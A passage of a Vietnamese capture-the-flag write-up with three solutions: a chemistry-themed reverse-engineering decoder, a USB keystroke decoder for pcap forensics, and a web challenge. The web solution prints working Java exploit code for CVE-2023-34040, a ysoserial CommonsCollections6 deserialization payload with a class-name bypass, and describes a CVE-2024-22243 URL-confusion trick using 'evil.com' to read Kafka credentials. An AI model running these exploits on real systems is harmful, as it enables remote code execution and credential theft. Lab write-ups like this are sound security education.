0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x5A, 0x00, 0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x17, 0x00,
0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00,
0x4D, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x14, 0x00,
0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00,
0x6D, 0x00, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x3B, 0x00,
0x00, 0x00, 0x34, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00,
0x38, 0x00, 0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0x16, 0x00,
0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x75, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x5C, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x25, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x1C, 0x00,
0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00,
0x41, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2F, 0x00,
0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00,
0x30, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x13, 0x00,
0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00,
0x2D, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00, 0x7A, 0x00,
0x00, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00,
0x3E, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x65, 0x00,
0x00, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00,
0x21, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x0A, 0x00,
0x00, 0x00, 0x1F, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00,
0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x29, 0x00,
0x00, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00,
0x19, 0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x46, 0x00,
0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00,
0x70, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x2C, 0x00,
0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 0x69, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x0D, 0x00,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00,
0x71, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x4F, 0x00,
0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x00, 0x00,
0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00,
0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00,
0x3D]
MOLECULES = [
"C", "CC", "CCC", "O", "CO", "CCO", "N", "CN", "CCN", "S",
"CS", "CCS", "F", "CF", "CCF", "Cl", "CCl", "CCCl", "Br", "CBr",
"HOH", "OO", "OCO", "c1ccccc1", "Cc1ccccc1", "OCc1ccccc1",
"Nc1ccccc1", "Sc1ccccc1", "c1ccc(C)cc1", "c1ccc(O)cc1",
"c1ccc(N)cc1", "c1ccc(S)cc1", "c1ccc(F)cc1", "CC(C)C", "CC(C)O",
"CC(C)N", "CC(C)S", "CC(C)F", "CCCC", "CCCCO", "CCCCN", "CCCCS",
"CCCCF", "C1CC1", "C1CCO1", "C1CCN1", "C1CCS1", "C1CCF1", "C=C",
"C=CO", "C=CN", "C=CS", "C=CF", "C#C", "C#CO", "C#CN", "C#CS",
"C#CF", "c1ccncc1", "c1ccnc(C)c1", "c1ccnc(O)c1", "c1ccnc(N)c1",
"c1ccnc(S)c1", "CC=C", "CCC=C", "CCCC=C", "CCCCC=C", "CCCCCC=C",
"c1cccnc1", "c1ccc(C=C)cc1", "c1ccc(C#C)cc1", "c1ccc(CC)cc1",
"c1ccc(CCC)cc1", "COC", "CCOC", "CCCOC", "CCCCOC", "CCCCCOC",
"CNC", "CCNC", "CCCNC", "CCCCNC", "CCCCCNC", "CSC", "CCSC",
"CCCSC", "CCCCSC", "CCCCCSC", "CFC", "CCFC", "CCCFC", "CCCCFC",
"CCCCCFC", "ClCCl", "BrCBr", "ICl", "ClF", "BrF", "c1ccc2ccccc2c1",
"c1ccc2cc(C)ccc2c1", "c1ccc2cc(O)ccc2c1", "c1ccc2cc(N)ccc2c1",
"c1ccc2cc(S)ccc2c1", "CC(C)(C)C", "CC(C)(C)O", "CC(C)(C)N",
"CC(C)(C)S", "CC(C)(C)F", "C1CCC1", "C1CCCO1", "C1CCCN1",
"C1CCCS1", "C1CCCF1", "C1CCCC1", "C1CCCCO1", "C1CCCCN1",
"C1CCCCS1", "C1CCCCF1", "C1CCCCC1", "C1CCCCCO1", "C1CCCCCN1",
"C1CCCCCS1", "C1CCCCCF1", "c1ccc(C(C)C)cc1", "c1ccc(C(C)O)cc1",
"c1ccc(C(C)N)cc1", "CC(=O)C", "CC(=O)O"
]
newv9 = [0]*(len(v9)//4)
target = "CCCC.CCCC.CC(C)F.C.HOH.c1ccc(S)cc1.CCOC.C1CCCC1.CC(C)S.Cc1ccccc1.CC(=O)C.c1ccc(S)cc1.C1CCCC1.c1ccc(S)cc1.BrCBr.CC(C)S.C1CCCCCS1.C1CCCO1.c1ccc(S)cc1.C=CF.c1ccc(C#C)cc1.CC(C)(C)N.C1CCCC1.CCOC.c1ccc(C#C)cc1.c1ccc(CC)cc1.c1ccc(S)cc1.BrF.OCc1ccccc1.c1ccc(S)cc1.C=CF.c1ccc(C#C)cc1.HOH.Cc1ccccc1.c1ccc(S)cc1.CCCCS.c1ccc(C#C)cc1.CC(C)S.C1CCO1.HOH.Cc1ccccc1.c1ccc(CC)cc1.CF.Nc1ccccc1.c1ccc(S)cc1.CC(C)S.BrCBr.CCCCS.CF.Nc1ccccc1.N.c1ccc(CC)cc1.HOH.CC(C)(C)N.BrCBr.OO"
for i in range(0,len(v9) - 1,4):
newv9[i//4] = v9[i]
# 38
# 38
# 37
# 0
index_result = []
# offset_module = 0x00055AC6D77BCC0
for i in target.split('.'):
idx = MOLECULES.index(i)
index_result.append(idx)
# print(newv9[128 + ord('D')]) = 38
for j in index_result:
for i in string.printable:
if (newv9[(128 + ord(i))%256] == j):
print(i,end='')
break
```
-> flag: **DDC{1_gu3s5_u_n3v4_7hought_0f_7h1s_ch3m1stry_3ncrypt1on}**
## Misc
### Re:Zero
- Bài này thì cho chúng ta 1 file hình ảnh (không có ý nghĩa gì lắm) và 9 file pcap đã capture lại tín hiệu hoạt động của keyboard.
- Có thể thấy trong các package được capture lại bởi wireshark có các dữ liệu usb hid về việc phím nào keyboard đã được nhấn.

- Thì mình đã viết script python để có thể trace lại những gì mà người dùng đã gõ (khá giống keylogger)
:::spoiler Code
```python=
import sys
# Key codes mapping (đầy đủ)
KEY_CODES = {
0x04: ['a', 'A'], 0x05: ['b', 'B'], 0x06: ['c', 'C'], 0x07: ['d', 'D'],
0x08: ['e', 'E'], 0x09: ['f', 'F'], 0x0A: ['g', 'G'], 0x0B: ['h', 'H'],
0x0C: ['i', 'I'], 0x0D: ['j', 'J'], 0x0E: ['k', 'K'], 0x0F: ['l', 'L'],
0x10: ['m', 'M'], 0x11: ['n', 'N'], 0x12: ['o', 'O'], 0x13: ['p', 'P'],
0x14: ['q', 'Q'], 0x15: ['r', 'R'], 0x16: ['s', 'S'], 0x17: ['t', 'T'],
0x18: ['u', 'U'], 0x19: ['v', 'V'], 0x1A: ['w', 'W'], 0x1B: ['x', 'X'],
0x1C: ['y', 'Y'], 0x1D: ['z', 'Z'], 0x1E: ['1', '!'], 0x1F: ['2', '@'],
0x20: ['3', '#'], 0x21: ['4', '$'], 0x22: ['5', '%'], 0x23: ['6', '^'],
0x24: ['7', '&'], 0x25: ['8', '*'], 0x26: ['9', '('], 0x27: ['0', ')'],
0x28: ['\n', '\n'], 0x29: ['[ESC]', '[ESC]'], 0x2A: ['[BACKSPACE]', '[BACKSPACE]'],
0x2B: ['[Tab]', '[Tab]'], 0x2C: [' ', ' '], 0x2D: ['-', '_'], 0x2E: ['=', '+'],
0x2F: ['[', '{'], 0x30: [']', '}'], 0x31: ['\\', '|'], 0x32: ['#', '~'],
0x33: [';', ':'], 0x34: ['\'', '"'], 0x35: ['`', '~'], 0x36: [',', '<'],
0x37: ['.', '>'], 0x38: ['/', '?'], 0x39: ['[CAPS]', '[CAPS]'],
0x4F: [u'→', u'→'], 0x50: [u'←', u'←'], 0x51: [u'↓', u'↓'], 0x52: [u'↑', u'↑'],
# keypad
0x53: ['NumL', 'NumL'], 0x54: ['/', '/'], 0x55: ['*', '*'], 0x56: ['-', '-'],
0x57: ['+', '+'], 0x58: ['\n', '\n'], 0x59: ['1', '1'], 0x5A: ['2', '2'],
0x5B: ['3', '3'], 0x5C: ['4', '4'], 0x5D: ['5', '5'], 0x5E: ['6', '6'],
0x5F: ['7', '7'], 0x60: ['8', '8'], 0x61: ['9', '9'], 0x62: ['0', '0'],
0x63: ['.', '.'], 0x67: ['=', '=']
}
def diff_keys(prev, curr):
prev_set = set([k for k in prev[2:] if k != '00'])
curr_set = set([k for k in curr[2:] if k != '00'])
pressed = curr_set - prev_set
released = prev_set - curr_set
return pressed, released
def solve(file, output_file="result.txt"):
with open(file, 'r') as f:
lines = f.readlines()
buffer = []
cursor = 0
previous = ['00']*8
left_shift = right_shift = 0
left_alt = right_alt = 0
left_ctrl = right_ctrl = 0
is_cap = 0
with open(output_file, 'w', encoding="utf-8") as output, open("combine_key_log.txt", 'w', encoding="utf-8") as log:
for line in lines:
line = line.strip().split(':')
pressed, released = diff_keys(previous, line)
status = int(line[0], 16)
left_ctrl = (status & 1) != 0
left_shift = (status >> 1) & 1
left_alt = (status >> 2) & 1
right_ctrl = (status >> 4) & 1
right_shift = (status >> 5) & 1
right_alt = (status >> 6) & 1
for key_hex in pressed:
keycode = int(key_hex, 16)
if keycode not in KEY_CODES:
output.write(f"[UNK-{key_hex}]")
continue
key = KEY_CODES[keycode][(left_shift | right_shift) ^ is_cap]
# Combo: Alt hoặc Ctrl (có thể kèm Shift)
if (left_alt or right_alt) or (left_ctrl or right_ctrl):
if left_alt or right_alt:
log.write("[ALT]")
if left_ctrl or right_ctrl:
log.write("[CTRL]")
if left_shift or right_shift:
log.write("[SHIFT]")
log.write(f" + {key}\n")
continue
# CapsLock
if key == '[CAPS]':
is_cap ^= 1
continue
# Backspace
if key == '[BACKSPACE]':
if cursor > 0:
buffer.pop(cursor-1)
cursor -= 1
# ghi lại toàn bộ buffer sau khi xóa
output.seek(0)
output.truncate()
output.write("".join(buffer))
continue
# Tab thường
if key == '[Tab]':
spaces = " " * 4
for ch in spaces:
buffer.insert(cursor, ch)
cursor += 1
output.write(spaces)
continue
# Mũi tên
if key == u'→':
cursor = min(len(buffer), cursor + 1)
continue
if key == u'←':
cursor = max(0, cursor - 1)
continue
if key == u'↓':
output.write("[↓]")
continue
if key == u'↑':
output.write("[↑]")
continue
# Enter
if key == '\n':
buffer.insert(cursor, key)
cursor += 1
output.write(key)
continue
# Ký tự bình thường
buffer.insert(cursor, key)
cursor += 1
output.write(key)
previous = line
def main():
args = sys.argv
if len(args) != 3:
print(f"Usage: {args[0]} <file capture.txt>" " <output file>")
return
solve(args[1], args[2])
if __name__ == "__main__":
main()
```
:::
- Nhưng trước khi sử dụng code trên thì cần phải extract các hid từ trong các file pcap ra.

- Extract tương tự cho các file pcap còn lại.
- Sau khi chạy script trên thì ta sẽ có được keylogger của người dùng.
- Sau khi xem qua các keylogger thì có một vài điểm ta cần phải chú ý.

- Ở day1 thì người dùng có hỏi chatGPT về code AES encryption với IV và KEY.
- Sang ngày thứ 2 thì sẽ thấy một trang web là https://cassino8386.xyz:8085 nhưng có lẽ trong quá trình code thì do sai sót nên đoạn này xử lý sai nên địa chỉ trang web.
- Cho tới ngày thứ 4 thì mới tìm thấy được địa chỉ đúng trang web mà người này dùng để download dữ liệu victim http://casino8386.xyz:8085/admin-saomadoduoc/

- Sang ngày thứ 3 thì ta sẽ có thông tin về username và password để đăng nhập vào trang web trên.

- Cho đến ngày thứ 6 thì ta sẽ người dùng có mở file tên là enc.py thì chắc có lẽ là file code python encryption mà đã hỏi chatgpt. và thêm dãy số `#1111111111111111#22222222222222222222222222222222`
- Có thể là IV và Key.
- Cho đến ngày thứ 8 thì người dùng có mở và code một trang secret.php cho trang web trên.


- mật khẩu tuy yêu cầu lớn hơn 8 kí tự nhưng kiểm tra là crc32 nên ta có thể dễ dàng crack được.


- Mở file data.enc và decrypt nó với key AES có được ở ngày 6 thì ta có được flag

`Flag: DDC{Casino_Scam_Case_Solved!}`
## Web
### Experiment R137-2025
#### Step 1: đọc credential dùng để login vào kafka
- Bài này thì trong giải mình chỉ mới làm được phần RCE thông qua deserialization, do không biết là password của kafka user bị random và cũng không có đủ thời gian để tìm ra bug đọc config của kafka. Sau giải mình được biết là để đọc được user kafka thì ta cần dùng CVE-2024-22243. Ở CVE này thì có sẵn một PoC trên github tại [link sau](https://github.com/SeanPesce/CVE-2024-22243?tab=readme-ov-file).
- Từ PoC trên ta có thể nhận ra rằng đề bài sử dụng class java.net.URL để parse url như sau:

- Việc check host và url schema được thực hiện hoàn toàn dựa trên các thuộc tính của object targetUrl. Tuy nhiên khi thực hiện request thì chall lại sử dụng class org.springframework.web.client.RestTemplate để thực hiện request tới url do user đưa. Class này lần nữa thực hiện parse lại url trên qua các step như sau:
1. Đầu tiên class java.net.URL thực hiện parse url do ta gửi lên, hãy chú ý 3 thuộc tính host, path và userInfo:


- Có thể thấy java.net.URL đã parse đúng url do ta gửi lên khi nhận diện được username trong url là "127.0.0.1\[" và host là "evil.com"
2. Tiếp theo đó, backend thực hiện call tới method restTemplate.exchange, với restTemplate là một instance của org.springframework.web.client.RestTemplate (class dính lỗi parsing confusion trực tiếp trong CVE):

- Tại đây url được pass tiếp vào method call this.execute, thực chất nó lại thực hiện chuỗi method call this.getUriTemplateHandler().expand() -> this.uriString().build()



- Ở đây ta lại thấy chương trình gọi tới this.uriComponentsBuilder.build().expand() (thực chất this.uriComponentsBuilder trả về 1 instance của UriComponentsBuilder, class chứa bug). Nhảy qua breakpoint, ta thấy rằng kết quả trả về là object UriComponents với host và path bị sai:

- Vậy thì ta làm được gì với nó? Được biết rằng ta có thể thực hiện request trực tiếp tới /commands/system_properties để đọc được username và password dùng để connect tới kafka, vì thế ta có thể dùng bug trên để request tới endpoint trên. Lưu ý rằng khi UriComponents parse uri, phần \[@evil.com được xem là URI path như ảnh trên, vậy thì ta cần phải thêm ../ để traverse về /commands/system_properties:

#### Step 2: RCE analyzer bằng CVE-2023-34040
- Okay, việc đọc được cred để login coi như đã xong. Vấn đề tiếp theo là ta cần đọc được flag ở / của analyzer, nhưng tên của file flag đã được random. Trong giải thì mình đã vọc vạch cả tối thì thấy có 2 setting đáng ngờ là checkDeserExWhenKeyNull và checkDeserExWhenValueNull được set về true, ngoài ra ErrorHandlingDeserializer cũng không được set:

- Điều này dẫn đến việc ta có thể thực hiện exploit [CVE-2023-34040](https://www.cve.org/CVERecord?id=CVE-2023-34040). CVE này có PoC ở [link sau](https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040), tuy nhiên payload không thể được sử dụng ngay mà ta cần phải tìm cách publish một topic tới kafka server ở port 29092. Sau một tối mò mẫm dựng lại challenge thì mình dựng được exploit code như sau:
- Main.java:
```java
package org.challenge.server;
import org.apache.kafka.clients.producer.*;
import org.apache.kafka.common.header.internals.RecordHeader;
import org.challenge.server.model.ChatMessage;
import org.springframework.kafka.support.serializer.SerializationUtils;
import org.challenge.server.service.PayloadGenerator;
import java.util.Properties;
public class Main {
public static void main(String[] args) throws Exception {
Properties props = new Properties();
props.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, "127.0.0.1:9092");
props.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, "org.apache.kafka.common.serialization.StringSerializer");
props.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, "org.springframework.kafka.support.serializer.JsonSerializer");
props.put("security.protocol", "SASL_PLAINTEXT");
props.put("sasl.mechanism", "PLAIN");
props.put("sasl.jaas.config",
"org.apache.kafka.common.security.plain.PlainLoginModule required " +
"username=\"RickSanchez\" password=\"RickSanchez\";");
Producer<String, ChatMessage> producer = new KafkaProducer<>(props);
ChatMessage msg = new ChatMessage(
"MortySmith",
"https://example.com",
"12:34:56"
);
msg.setSenderId("Morty");
byte[] byteArray = PayloadGenerator.getRCEPayload("calc.exe");
ProducerRecord<String, ChatMessage> record = new ProducerRecord<>("chat-messages", msg);
record.headers().add(new RecordHeader(SerializationUtils.VALUE_DESERIALIZER_EXCEPTION_HEADER, byteArray));
record.headers().add(new RecordHeader(SerializationUtils.KEY_DESERIALIZER_EXCEPTION_HEADER, byteArray));
producer.send(record);
producer.close();
}
}
```
- PayloadGenerator.java:
```java
package org.challenge.server.service;
import xrg.springframework.kafka.support.serializer.DeserializationException;
import java.io.*;
import java.util.HashSet;
import java.util.Set;
import ysoserial.payloads.CommonsCollections6;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
public class PayloadGenerator {
private static Set payload() throws IOException {
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("lqc"); // make it not equal to t2
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream ba = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(ba);
oos.writeObject(o);
oos.close();
return ba.toByteArray();
}
public static Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
ByteArrayInputStream ba = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(ba);
return ois.readObject();
}
public static byte[] getRCEPayload(String s) throws Exception {
ObjectPayload<?> payload = CommonsCollections6.class.newInstance();
final Object before = payload.getObject(s);
new DeserializationException(payload());
DeserializationException exception = new DeserializationException(before);
byte[] data = serialize(exception);
Utils.releasePayload(payload, before);
data[8] = "o".getBytes()[0];
return data;
}
}
```
(Ở classpath của analyzer có commons-collections-3.1.jar trong class path nên mình chọn sử dụng chain CC6, còn lí do tại sao thì hãy đọc tiếp)
- Chạy file Main.java:

- Lí giải cho việc setting hai thuộc tính checkDeserExWhenKeyNull và checkDeserExWhenValueNull khi được set về true có thể dẫn tới insecure deserialization, là vì ở trong payload, ta thực hiện gửi một message tới consumer như sau:

- Có thể thấy rằng object msg được gửi dưới dạng value và không có key nào được gửi kèm, nên key được gửi tới consumer sẽ là null [(link document)](https://kafka.apache.org/28/javadoc/org/apache/kafka/streams/processor/api/Record.html). Vì thế, consumer sẽ thực hiện deserialize header được gửi kèm trong message.
- Tuy nhiên, trước khi deser thì nó sẽ kiểm tra xem class đang được deser có phải là một instance của org.springframework.kafka.support.serializer.DeserializationException hay không. Việc kiểm tra này có thể được bypass bằng cách tạo một wrapper class xrg.springframework.kafka.support.serializer.DeserializationException như trong PoC và khi gửi payload ta chỉ cần replace lại kí tự "x" trong bytecode thành kí tự "o" (do consumer chỉ kiểm tra package . name của class). Việc debug khá phức tạp và tốn thời gian nên mình sẽ để phần này lại cho bạn đọc tự tìm hiểu.
- Ngoài ra, ở đây ta sử dụng chain CommonsCollections6 của ysoserial mà không dùng các chain như CC1, CC2, ... vì từ java 1.8.0_72 trở đi, Oracle đã hardening class AnnotationInvocationHandler để mitigate deserialization attack. Các bạn có thể tìm hiểu thêm ở [đây](https://github.com/frohoff/ysoserial/issues/17)